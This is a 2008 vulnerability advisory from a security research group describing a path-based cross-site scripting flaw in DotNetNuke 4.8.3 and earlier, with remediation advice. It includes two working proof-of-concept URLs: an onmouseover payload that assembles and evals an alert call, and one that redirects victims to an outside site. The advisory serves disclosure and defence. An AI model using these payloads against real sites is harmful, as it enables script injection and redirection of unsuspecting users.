Dot Net Nuke (DNN) XSS Vulnerability

Thursday, 5 June 2008

########################## www.BugReport.ir #######################################
#
#		AmnPardaz Security Research Team
#
# Title: Dot Net Nuke (DNN) XSS Vulnerability.
# Vendor: www.dotnetnuke.com
# Vulnerable Version: 4.8.3 and prior versions
# Exploit: N/A
# Impact: Low
# Fix: N/A
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1. Description:
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	DotNetNuke is an open source web application framework ideal for creating, deploying and managing interactive web, intranet and extranet sites.

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2. Vulnerability:
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	XSS in "Default.aspx", by using "/" after the ".aspx" file. We must use another ".aspx" string, before "?" or at end of the URL.
	In fact, "PATH_INFO" in ServerVariables can manipulate by an attacker by entering "/" after the ".aspx" files. So, using "URL" is better than "PATH_INFO".
	
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3. PoC:
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	- Alert by XSS
		http://[DNN URL]/Default.aspx/"onmouseover="x='al';x=x+'ert(/Soroush Dalili From WWW.BugReport.IR/)';eval(x);alert().aspx
	
	- Redirect by XSS (We must use a "?" because of using ":" in "HTTP://")
		http://[DNN URL]/Default.aspx/bugreport/"onmouseover="var a='.aspx?';document.location='http://www.bugreport.ir/?archive';

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4. Solution:
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	Check the vendor hotfix and use URLScan (http://www.microsoft.com/technet/security/tools/urlscan.mspx).
	
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5. Credit :
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AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
WwW.AmnPardaz.com